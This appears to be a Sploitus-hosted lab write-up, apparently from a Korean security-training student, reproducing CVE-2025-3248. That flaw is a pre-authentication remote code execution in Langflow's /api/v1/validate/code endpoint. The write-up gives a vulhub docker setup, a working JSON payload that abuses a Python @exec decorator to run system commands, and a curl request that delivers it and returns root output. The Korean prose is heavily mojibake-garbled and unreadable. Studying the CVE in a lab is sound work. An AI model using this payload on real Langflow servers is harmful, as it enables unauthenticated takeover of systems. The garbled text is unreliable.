Share
## https://sploitus.com/exploit?id=B8CAEC40-6B5D-5BCD-883B-17CA4DCD1AF5
# CVE-2025-3248 : Langflow μ¬μ μΈμ¦ RCE μ·¨μ½μ
> νμ΄νΈν μ€μΏ¨ 3κΈ° (16λ°) - κΉλ―Όμ±([@minxxcozy](https://github.com/minxxcozy))
<br/>
## κ°μ
Langflow 1.3.0 λ―Έλ§ λ²μ μμ λ°κ²¬λ CVE-2025-3248 μ·¨μ½μ μ μ¬ννλ κ³Όμ μ
λλ€. μ΄ μ·¨μ½μ μ Langflowμ `/api/v1/validate/code` μλν¬μΈνΈμμ λ°μν©λλ€. μ΄ μλν¬μΈνΈλ μ¬μ©μκ° μ μΆν Python μ½λλ₯Ό κ²μ¦νκΈ° μν΄ `ast` λͺ¨λμ μ¬μ©ν΄ νμ±νκ³ , μ΄ν ν¨μ μ μλ₯Ό `exec`λ‘ μ€νν©λλ€. μ΄λ, Python λ°μ½λ μ΄ν°μ κΈ°λ³Έ μΈμ ννμμ΄ ν¨μ μ μ μμ μμ ν¨κ» μ€νλ©λλ€. μ¦, μ
μ± μ½λκ° ν¬ν¨λ κΈ°λ³Έ μΈμλ λ°μ½λ μ΄ν°λ₯Ό μ½μ
νλ λ°©μμΌλ‘ μ
μ©λ μ μμ΅λλ€.
### Langflow
Langflowλ μμ°μ΄ μ²λ¦¬(NLP) λ° λνν AI λͺ¨λΈμ νμ©νλ LLM κΈ°λ°μ νλ«νΌμΌλ‘, μ¬μ©μκ° λ€μν AI μλΉμ€μ ν΅ν©νμ¬ μμ°μ΄λ‘ 컀μ€ν°λ§μ΄μ§λ μμ
μ μνν μ μμ΅λλ€. Langflow 1.3.0 λ―Έλ§ λ²μ μμ λ°κ²¬λ CVE-2025-324 μ·¨μ½μ μ LLM κΈ°λ°μ μ ν리μΌμ΄μ
μμ λ°μν κ²μΌλ‘, LLM μμ€ν
μ΄ μλͺ»λ μ
λ ₯κ°μ μ€ννλ λ°©μμ μν 보μ λ¬Έμ μ ν΄λΉν©λλ€.
### μ°Έκ³ μλ£
* [Langflow GitHub Repository](https://github.com/langflow/langflow)
* [Langflow validate/code API Pre-Auth Remote Code Execution (CVE-2025-3248)](https://github.com/vulhub/vulhub/blob/master/langflow/CVE-2025-3248/README.md)
* [Langflow 1.3.0 Release](https://github.com/langflow-ai/langflow/releases/tag/1.3.0)
<br/>
## νκ²½ μ€μ
λ€μ μμλλ‘ PoC νκ²½μ μ€μ ν©λλ€.
1. λ ν¬μ§ν 리 ν΄λ‘
```
git clone https://github.com/<your-username>/vulhub.git
cd vulhub/langflow/CVE-2025-3248
```
2. μ·¨μ½ν Langflow μλ² (v1.2.0) μ€ν
```
docker compose up -d
```
3. μλ² κΈ°λ νμΈ
```
curl http://localhost:7860
```
<br/>
## Payload μμ±
νλ¨μ νμ΄λ‘λλ `/api/v1/validate/code` μλν¬μΈνΈμμ 곡격μκ° `@exec` λ°μ½λ μ΄ν°λ₯Ό μ¬μ©νμ¬ μμμ μμ€ν
λͺ
λ Ήμ΄λ₯Ό μ€ννλλ‘ κ΅¬μ±λ μμμ
λλ€. μ΄ κ²½μ°, id λͺ
λ Ήμ΄λ₯Ό μ€ννμ¬ μμ€ν
μ 보λ₯Ό λ°ννλλ‘ ν μ μμ΅λλ€.
```json
{
"code": "@exec(\"raise Exception(__import__('subprocess').check_output(['id']))\")\ndef foo():\n pass"
}
```
<br/>
## μ·¨μ½μ μ¬ν
### PoC μμ² μ μ‘
μλ λͺ
λ Ήμ΄λ₯Ό μ¬μ©νμ¬ μ·¨μ½ν API μλν¬μΈνΈμ POST μμ²μ 보λ΄κ³ , μ
μ± νμ΄λ‘λλ₯Ό μ μ‘ν©λλ€.
```
curl -i -X POST http://localhost:7860/api/v1/validate/code \
-H "Content-Type: application/json" \
-d @payload.json
```
### μλ΅ νμΈ
μλ²μμ μ μμ μΌλ‘ `id` λͺ
λ Ήμ΄λ₯Ό μ€ννλ€λ©΄, λ€μκ³Ό κ°μ μλ΅μ λ°κ² λ©λλ€.

ν΄λΉ μλ΅μ `id` λͺ
λ Ήμ΄κ° λ£¨νΈ κΆνμΌλ‘ μ€νλμμμ λνλ΄λ©°, μ·¨μ½μ μ΄ μ€μ λ‘ μ‘΄μ¬νλ€λ κ²μ μ¦λͺ
ν©λλ€.
<br/>
## κ²°κ³Ό
PoC μμ²μ ν΅ν΄ Langflow μλ²κ° 곡격μκ° μ 곡ν μ
μ± Python μ½λλ₯Ό μ€ννλ κ²μ νμΈνμ΅λλ€. μλ΅ κ²°κ³Όλ‘ `id` λͺ
λ Ήμ΄κ° λ£¨νΈ κΆν(`uid=0(root)`)μΌλ‘ μ€νλ μΆλ ₯μ΄ λ°νλμμ΅λλ€. μ΄λ₯Ό ν΅ν΄ CVE-2025-3248 μ·¨μ½μ μ΄ μ€μ λ‘ μ‘΄μ¬νλ©°, μΈμ¦ μμ΄ μ격 μ½λ μ€ν(RCE)μ΄ κ°λ₯ν¨μ μ
μ¦ν μ μμμ΅λλ€.